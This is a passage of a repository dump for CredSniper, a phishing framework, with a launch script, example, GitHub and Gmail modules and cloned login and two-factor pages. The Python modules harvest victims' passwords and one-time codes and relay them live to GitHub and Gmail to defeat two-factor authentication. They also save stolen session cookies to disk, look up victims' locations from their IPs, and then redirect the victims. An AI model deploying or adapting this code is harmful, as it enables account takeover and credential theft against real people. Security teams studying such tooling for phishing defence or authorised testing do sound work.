"[*] ###################################################" 126 | echo "[*] Successfully installed everything!" 127 | echo "[*] To run manually just:" 128 | echo "[*] ~/CredSniper$ source bin/activate" 129 | echo "[*] (CredSniper) ~/CredSniper$ python credsniper.py" 130 | echo "[*] ###################################################" 131 | 132 | echo "[*] Launching CredSniper..." 133 | source ./bin/activate;python credsniper.py --module $module $ssl $twofactor --verbose --final $final --hostname $host_name 134 | 135 | wait 136 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/modules/__init__.py -------------------------------------------------------------------------------- /modules/example/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/modules/example/__init__.py -------------------------------------------------------------------------------- /modules/example/example.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | from flask import redirect, request, jsonify, Markup 3 | from os import system 4 | from core import functions 5 | from core.base_module import * 6 | import uuid 7 | import mechanicalsoup 8 | import bs4 9 | import re, sys, time, random 10 | import time 11 | import json 12 | 13 | class ExampleModule(BaseModule): 14 | def __init__(self, enable_2fa=False): 15 | super().__init__(self) 16 | 17 | self.set_name('example') 18 | self.add_route('main', '/') 19 | self.add_route('twofactor', '/twofactor') 20 | self.add_route('redirect', '/redirect') 21 | self.enable_two_factor(enable_2fa) 22 | 23 | def main(self): 24 | next_url = '/twofactor' 25 | template = self.env.get_template('login.html') 26 | 27 | return template.render( 28 | next_url=next_url, 29 | hostname=request.host, 30 | ) 31 | 32 | 33 | def twofactor(self): 34 | self.user = request.values.get('username') 35 | self.password = request.values.get('password') 36 | next_url = '/redirect' 37 | 38 | functions.cache_creds(self.name, self.user, self.password) 39 | 40 | template = self.env.get_template('twofactor.html') 41 | 42 | return template.render( 43 | hostname=request.host, 44 | next_url=next_url, 45 | username=self.user, 46 | password=self.password, 47 | ) 48 | 49 | 50 | def redirect(self): 51 | self.user = request.values.get('username') 52 | self.password = request.values.get('password') 53 | self.two_factor_token = request.values.get('two_factor_token') 54 | self.two_factor_type = request.values.get('two_factor_type') 55 | 56 | city, region, zip_code = '','','' 57 | try: 58 | geoip_url = 'https://freegeoip.net/json/{}'.format( 59 | request.remote_addr 60 | ) 61 | geo_browser = mechanicalsoup.StatefulBrowser() 62 | geo_response = geo_browser.open(geoip_url) 63 | geo = json.loads(geo_response.text) 64 | city = geo['city'] 65 | region = geo['region_name'] 66 | zip_code = geo['zip_code'] 67 | except Exception as ex: 68 | pass 69 | 70 | functions.store_creds( 71 | self.name, 72 | self.user, 73 | self.password, 74 | self.two_factor_token, 75 | self.two_factor_type, 76 | request.remote_addr, 77 | city, 78 | region, 79 | zip_code 80 | ) 81 | return redirect(self.final_url, code=302) 82 | 83 | 84 | def load(enable_2fa=False): 85 | return ExampleModule(enable_2fa) 86 | 87 | -------------------------------------------------------------------------------- /modules/example/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CredSniper - Example 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 | 38 |
39 |
40 | 41 |
42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /modules/example/templates/twofactor.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CredSniper - Example 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 | 33 |
34 |
35 | 36 |
37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /modules/github/README.md: -------------------------------------------------------------------------------- 1 | # Credsniper 2 | ## GitHub Module 3 | 4 | __Maintainer:__ audibleblink (@4lex) 5 | 6 | __Note:__ Only for OTP-protected accounts. 7 | 8 | Module for intercepting GitHub credentials. Given the technical knowledge of the targets, this 9 | module doesn't downgrade to SMS if it's available. That means it captures the OTP but it only lasts 10 | 30 seconds, in the best case scenario. 11 | 12 | In order to steal access, this module actually logs the user into GitHub and stores the session 13 | cookies to disk in CredSniper's root directory as `$username.sess`. From here, use your browser's 14 | cookie manager to input the cookies and refresh github.com. 15 | -------------------------------------------------------------------------------- /modules/github/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/modules/github/__init__.py -------------------------------------------------------------------------------- /modules/github/github.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | from flask import redirect, request, jsonify, Markup 3 | from os import system 4 | from core import functions 5 | from core.base_module import * 6 | import uuid 7 | import mechanicalsoup 8 | import bs4 9 | import re, sys, time, random 10 | import time 11 | import json 12 | import traceback 13 | 14 | class GithubModule(BaseModule): 15 | def __init__(self, enable_2fa=False): 16 | super().__init__(self) 17 | 18 | self.set_name('github') 19 | self.add_route('main', '/') 20 | self.add_route('validate', '/validate') 21 | self.add_route('twofactor', '/twofactor') 22 | self.add_route('redirect', '/redirect') 23 | self.enable_two_factor(enable_2fa) 24 | self.browser = None 25 | 26 | def main(self): 27 | """ 28 | Display login portal for GitHub. Submit user/pass 29 | to /validate to verify user typed in correct creds. 30 | """ 31 | next_url = '/validate' 32 | template = self.env.get_template('login.html') 33 | error = request.values.get('error') 34 | 35 | return template.render( 36 | next_url=next_url, 37 | hostname=request.host, 38 | error=error, 39 | ) 40 | 41 | def validate(self): 42 | """ 43 | Handle credentials submitted and proceed to the 2FA page 44 | if the credentials are valid. 45 | Redirects to login page if the creds are bad. 46 | """ 47 | self.user = request.values.get('login') 48 | possible_passwd = request.values.get('password') 49 | 50 | try: 51 | valid_creds = self.submit_creds(self.user, possible_passwd) 52 | if valid_creds: 53 | self.password = request.values.get('password') 54 | functions.cache_creds(self.name, self.user, self.password) 55 | return redirect('/twofactor', code=302) 56 | else: 57 | return redirect('/?error=1', code=302) 58 | except Exception as err: 59 | print(traceback.format_exc()) 60 | return redirect('/?error=2', code=500) 61 | 62 | def submit_creds(self, user, passwd): 63 | """ 64 | Submit credentials to GitHub and verify they're valid 65 | Returns: Boolean 66 | """ 67 | self.browser = mechanicalsoup.StatefulBrowser( 68 | soup_config={'features': 'lxml'}, 69 | raise_on_404=True, 70 | ) 71 | self.browser.open('https://github.com/login') 72 | self.browser.select_form('#login form') 73 | self.browser["login"] = user 74 | self.browser["password"] = passwd 75 | self.browser.submit_selected() 76 | if self.browser.get_url() == 'https://github.com/sessions/two-factor': 77 | # Valid creds result in a redirect to /sessions/two-factor 78 | return True 79 | else: 80 | return False 81 | 82 | def submit_otp(self, otp): 83 | """ 84 | Submit the OTP and verify it was valid. If not, display an error 85 | and reprompt the user for the correct OTP. 86 | Returns: Boolean 87 | """ 88 | self.browser.select_form('form') 89 | self.browser["otp"] = otp 90 | self.browser.submit_selected() 91 | page = self.browser.get_url() 92 | if page == 'https://github.com/sessions/two-factor': 93 | # Bad OTPs just reload the OTP page 94 | return False 95 | else: 96 | return True 97 | 98 | def twofactor(self): 99 | """ 100 | Present OTP page since valid credentials have been provided 101 | at this point. Now prompt the user for their two-factor code. 102 | """ 103 | next_url = '/redirect' 104 | 105 | template = self.env.get_template('twofactor.html') 106 | error = request.values.get('error') 107 | 108 | return template.render( 109 | hostname=request.host, 110 | next_url=next_url, 111 | error=error, 112 | ) 113 | 114 | def steal_session(self, file): 115 | """ Write current active GutHub session to `file` """ 116 | with open(file, "a+") as store: 117 | for cookie, value in self.browser.session.cookies.iteritems(): 118 | data = "{}={};\n".format(cookie, value) 119 | store.write(data) 120 | 121 | def redirect(self): 122 | """ 123 | Final redirect of a valid session has been created. 124 | """ 125 | 126 | self.two_factor_token = request.values.get('otp') 127 | self.two_factor_type = 'otp' 128 | 129 | valid_otp = self.submit_otp(self.two_factor_token) 130 | if not valid_otp: 131 | return redirect('/twofactor?error=1', code=302) 132 | 133 | file = "./{}.sess".format(self.user) 134 | self.steal_session(file) 135 | 136 | city, region, zip_code = '','','' 137 | try: 138 | geoip_url = 'https://freegeoip.net/json/{}'.format( 139 | request.remote_addr 140 | ) 141 | geo_browser = mechanicalsoup.StatefulBrowser() 142 | geo_response = geo_browser.open(geoip_url) 143 | geo = json.loads(geo_response.text) 144 | city = geo['city'] 145 | region = geo['region_name'] 146 | zip_code = geo['zip_code'] 147 | except Exception as ex: 148 | pass 149 | 150 | functions.store_creds( 151 | self.name, 152 | self.user, 153 | self.password, 154 | self.two_factor_token, 155 | self.two_factor_type, 156 | request.remote_addr, 157 | city, 158 | region, 159 | zip_code 160 | ) 161 | return redirect(self.final_url, code=302) 162 | 163 | 164 | def load(enable_2fa=False): 165 | return GithubModule(enable_2fa) 166 | -------------------------------------------------------------------------------- /modules/github/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | Sign in to GitHub · GitHub 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 |
118 | Skip to content 119 |
120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 134 | 135 | 136 |
137 | 138 |
139 | 140 | 141 | 142 |
143 | 144 |
145 | 146 | 147 |
148 | 149 |
150 |

Sign in to GitHub

151 |
152 | 153 | 154 |
155 |
156 |
157 | 160 | 161 | Incorrect username or password. 162 | 163 |
164 |
165 | 166 | 167 |
168 | 169 | 170 |
171 | 172 | 175 | 176 | 177 | 180 | 181 | 182 | 183 |
184 |
185 | 186 | 190 |
191 | 192 |
193 | 194 |
195 | 196 | 204 | 205 | 206 | 207 |
208 | 209 | 212 | You can’t perform that action at this time. 213 |
214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 |
224 | 225 | You signed in with another tab or window. Reload to refresh your session. 226 | You signed out in another tab or window. Reload to refresh your session. 227 |
228 | 237 | 238 | 242 | 243 |
244 | Press h to open a hovercard with more details. 245 |
246 | 247 | 248 | 249 | 250 | 251 | -------------------------------------------------------------------------------- /modules/github/templates/twofactor.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | GitHub · Where software is built 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 |
116 | Skip to content 117 |
118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 132 | 133 | 134 |
135 | 136 |
137 | 138 | 139 | 140 |
141 | 142 |
143 | 144 |
145 |
146 | 149 | Your authentication code has been sent. 150 |
151 |
152 | 155 | 156 | We were unable to send your authentication code. Please try again or contact support if the problem persists. 157 | 158 |
159 | 160 |
161 |

Two-factor authentication

162 |
163 | 164 | 165 |
166 |
167 |
168 | 171 | Two-factor authentication failed. 172 |
173 |
174 | 175 | 176 |
177 |
178 |
179 | 182 | 183 | 184 | 185 | 186 |
187 |
188 | 189 |
190 | 191 | Open the two-factor authentication app on your device to view your authentication code and verify your identity. 192 | 193 |
194 |

Don’t have your phone?

195 | 196 | 199 |
200 |
201 | 202 |
203 | 204 |
205 | 206 | 214 | 215 | 216 | 217 |
218 | 219 | 222 | You can’t perform that action at this time. 223 |
224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 |
234 | 235 | You signed in with another tab or window. Reload to refresh your session. 236 | You signed out in another tab or window. Reload to refresh your session. 237 |
238 | 247 | 248 | 252 | 253 |
254 | Press h to open a hovercard with more details. 255 |
256 | 257 | 258 | 259 | 260 | 261 | -------------------------------------------------------------------------------- /modules/gmail/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/modules/gmail/__init__.py -------------------------------------------------------------------------------- /modules/gmail/gmail.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | from flask import redirect, request, jsonify, Markup 3 | from os import system 4 | from core import functions 5 | from core.base_module import * 6 | import uuid 7 | import mechanicalsoup 8 | import bs4 9 | import re, sys, time, random 10 | import time 11 | import json 12 | 13 | class GmailModule(BaseModule): 14 | def __init__(self, enable_2fa=False): 15 | super().__init__(self) 16 | 17 | self.set_name('gmail') 18 | self.add_route('main', '/') 19 | self.add_route('accounts', '/accounts') 20 | self.add_route('authenticate', '/authenticate') 21 | self.add_route('redirect', '/redirect') 22 | self.enable_two_factor(enable_2fa) 23 | 24 | def main(self): 25 | next_url = '/accounts' 26 | template = self.env.get_template('login.html') 27 | 28 | return template.render( 29 | next_url=next_url, 30 | hostname=request.host, 31 | ) 32 | 33 | 34 | def accounts(self): 35 | self.user = request.values.get('email') 36 | 37 | next_url = '/authenticate' 38 | template = self.env.get_template('password.html') 39 | 40 | return template.render( 41 | hostname=request.host, 42 | next_url=next_url, 43 | email=self.user 44 | ) 45 | 46 | 47 | def authenticate(self): 48 | self.user = request.values.get('email') 49 | self.password = request.values.get('password') 50 | 51 | functions.cache_creds(self.name, self.user, self.password) 52 | 53 | triggered = self.trigger() 54 | redirect_user = triggered.get('action', None) 55 | 56 | if redirect_user == 'redirect': 57 | return redirect(self.final_url, code=302) 58 | 59 | if not self.enable_2fa: 60 | return redirect(self.final_url, code=302) 61 | 62 | twofactor_type = triggered.get('type', 'error') 63 | twofactor_code = triggered.get('code', None) 64 | twofactor_name = triggered.get('name', None) 65 | 66 | if twofactor_type == 'touchscreen': 67 | if twofactor_code: 68 | additional = Markup( 69 | ', then touch number {}.'.format( 70 | twofactor_code 71 | ) 72 | ) 73 | twofactor_code = additional 74 | else: 75 | twofactor_code = '.' 76 | 77 | tf_type = '{}.html'.format(twofactor_type) 78 | template = self.env.get_template(tf_type) 79 | 80 | next_url = '/redirect' 81 | 82 | return template.render( 83 | hostname=request.host, 84 | next_url=next_url, 85 | enable_2fa=self.enable_2fa, 86 | email=self.user, 87 | password=self.password, 88 | code=twofactor_code, 89 | name=twofactor_name, 90 | two_factor_type=twofactor_type, 91 | first_name='' 92 | ) 93 | 94 | 95 | def redirect(self): 96 | self.user = request.values.get('email') 97 | self.password = request.values.get('password') 98 | self.two_factor_token = request.values.get('two_factor_token') 99 | self.two_factor_type = request.values.get('two_factor_type') 100 | 101 | city, region, zip_code = '','','' 102 | try: 103 | geoip_url = 'https://freegeoip.net/json/{}'.format( 104 | request.remote_addr 105 | ) 106 | geo_browser = mechanicalsoup.StatefulBrowser() 107 | geo_response = geo_browser.open(geoip_url) 108 | geo = json.loads(geo_response.text) 109 | city = geo['city'] 110 | region = geo['region_name'] 111 | zip_code = geo['zip_code'] 112 | except Exception as ex: 113 | pass 114 | 115 | functions.store_creds( 116 | self.name, 117 | self.user, 118 | self.password, 119 | self.two_factor_token, 120 | self.two_factor_type, 121 | request.remote_addr, 122 | city, 123 | region, 124 | zip_code 125 | ) 126 | return redirect(self.final_url, code=302) 127 | 128 | 129 | def trigger(self): 130 | raw_headers = None 131 | 132 | data_2fa = { 133 | 'type': None, 134 | 'code': None, 135 | 'name': None, 136 | 'action': None, 137 | 'headers': [], 138 | 'cookies': [], 139 | } 140 | 141 | try: 142 | browser = mechanicalsoup.StatefulBrowser( 143 | soup_config={'features': 'html'}, 144 | raise_on_404=True, 145 | user_agent='Python-urllib/2.7', 146 | ) 147 | 148 | page = browser.open('https://www.gmail.com') 149 | 150 | user_form = browser.select_form('form') 151 | user_form.set('Email', self.user) 152 | user_response = browser.submit(user_form, page.url) 153 | 154 | pass_form = mechanicalsoup.Form(user_response.soup.form) 155 | pass_form.set('Passwd', self.password) 156 | pass_response = browser.submit(pass_form, page.url) 157 | 158 | raw_headers = pass_response.headers 159 | soup = pass_response.soup 160 | raw = soup.text 161 | 162 | sms = soup.find('input', {'id': 'idvPreregisteredPhonePin'}) 163 | sms_old = soup.find('button', {'id': 'idvPreresteredPhoneSms'}) 164 | u2f = soup.find('input', {'id': 'id-challenge'}) 165 | touch = soup.find('input', {'id': 'authzenToken'}) 166 | authenticator = soup.find('input', {'id': 'totpPin'}) 167 | backup = soup.find('input', {'id': 'backupCodePin'}) 168 | 169 | if sms or sms_old: 170 | data_2fa['type'] = 'sms' 171 | 172 | if sms_old: 173 | final_form = mechanicalsoup.Form(pass_response.soup.form) 174 | final_response = browser.submit(final_form, page.url) 175 | raw_headers = final_response.headers 176 | raw = final_response.soup.text 177 | data_2fa['type'] = 'u2f' 178 | 179 | code = '' 180 | regexes = [ 181 | r"\d{2}(?=)", 182 | r"(?<=\u2022)\d{2}(?=G)", 183 | r"\d{2}(?=G)", 184 | r"\d{2}(?=\)", 185 | r"\d{2}(?=S)", 186 | ] 187 | for regex in regexes: 188 | matches = re.search(regex, raw, re.UNICODE) 189 | if matches: 190 | code = matches.group() 191 | break 192 | else: 193 | code = '••' 194 | 195 | data_2fa['code'] = code 196 | elif u2f: 197 | data_2fa['type'] = 'u2f' 198 | elif touch: 199 | code = '' 200 | name = '' 201 | regex_codes = [ 202 | r"(?<=)\d{1,3}(?=)", 203 | r"(?<=then tap )\d{1,3}(?= on your phone)" 204 | ] 205 | for regex_code in regex_codes: 206 | code_match = re.search(regex_code, raw) 207 | if code_match: 208 | code = code_match.group() 209 | else: 210 | code = 0 211 | 212 | regex_names = [ 213 | r"(?<=Unlock your ).*(?=Tap)", 214 | r"(?<=Check your ).*(?=<\/h2>)", 215 | ] 216 | for regex_name in regex_names: 217 | name_match = re.search(regex_name, raw) 218 | if name_match: 219 | name = name_match.group() 220 | else: 221 | name = 'phone' 222 | 223 | data_2fa['code'] = code 224 | data_2fa['name'] = name 225 | data_2fa['type'] = 'touchscreen' 226 | elif authenticator: 227 | name = '' 228 | regexes = [ 229 | r"(?<=Get a verification code from the ).*(?=<\/strong>)", 230 | r"(?<=Get a verification code from the ).*(?= app)", 231 | ] 232 | for regex in regexes: 233 | name_match = re.search(regex, raw, re.UNICODE) 234 | if name_match: 235 | name = name_match.group() 236 | else: 237 | name = 'authenticator app' 238 | 239 | data_2fa['name'] = name 240 | data_2fa['type'] = 'authenticator' 241 | elif backup: 242 | data_2fa['type'] = 'backup' 243 | else: 244 | if 'Try again in a few hours' in raw: 245 | data_2fa['error'] ='locked out' 246 | data_2fa['action'] = 'redirect' 247 | 248 | cookies = [] 249 | for c in browser.get_cookiejar(): 250 | cookie = {} 251 | cookie['name'] = c.name 252 | cookie['value'] = c.value 253 | cookie['domain'] = c.domain 254 | cookie['path'] = c.path 255 | cookie['secure'] = c.secure 256 | cookie['expires'] = c.expires 257 | cookies.append(cookie) 258 | 259 | data_2fa['cookies'] = cookies 260 | 261 | for h in raw_headers: 262 | header = {} 263 | header['name'] = h 264 | header['value'] = raw_headers[h] 265 | data_2fa['headers'].append(header) 266 | 267 | except Exception as ex: 268 | data_2fa['error'] = ex 269 | pass 270 | 271 | return data_2fa 272 | 273 | # REQUIRED: When module is loaded, credsniper calls load() 274 | def load(enable_2fa=False): 275 | '''Initial load() function called from importlib in the main CredSniper functionality.''' 276 | return GmailModule(enable_2fa) 277 | 278 | -------------------------------------------------------------------------------- /modules/gmail/templates/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Error 404 (Not Found)!!1 6 | 9 | 10 | 11 | 12 | 20 | 21 | 22 | 23 | 24 | 25 | 26 |

404. That’s an error. 27 |

The requested URL / was not found on this server. That’s all we know. 28 |

29 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | mechanicalsoup 3 | -------------------------------------------------------------------------------- /screenshots/gmail_authenticator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/screenshots/gmail_authenticator.png -------------------------------------------------------------------------------- /screenshots/gmail_login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/screenshots/gmail_login.png -------------------------------------------------------------------------------- /screenshots/gmail_password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/screenshots/gmail_password.png -------------------------------------------------------------------------------- /screenshots/gmail_sms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/screenshots/gmail_sms.png -------------------------------------------------------------------------------- /screenshots/gmail_touch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/screenshots/gmail_touch.png --------------------------------------------------------------------------------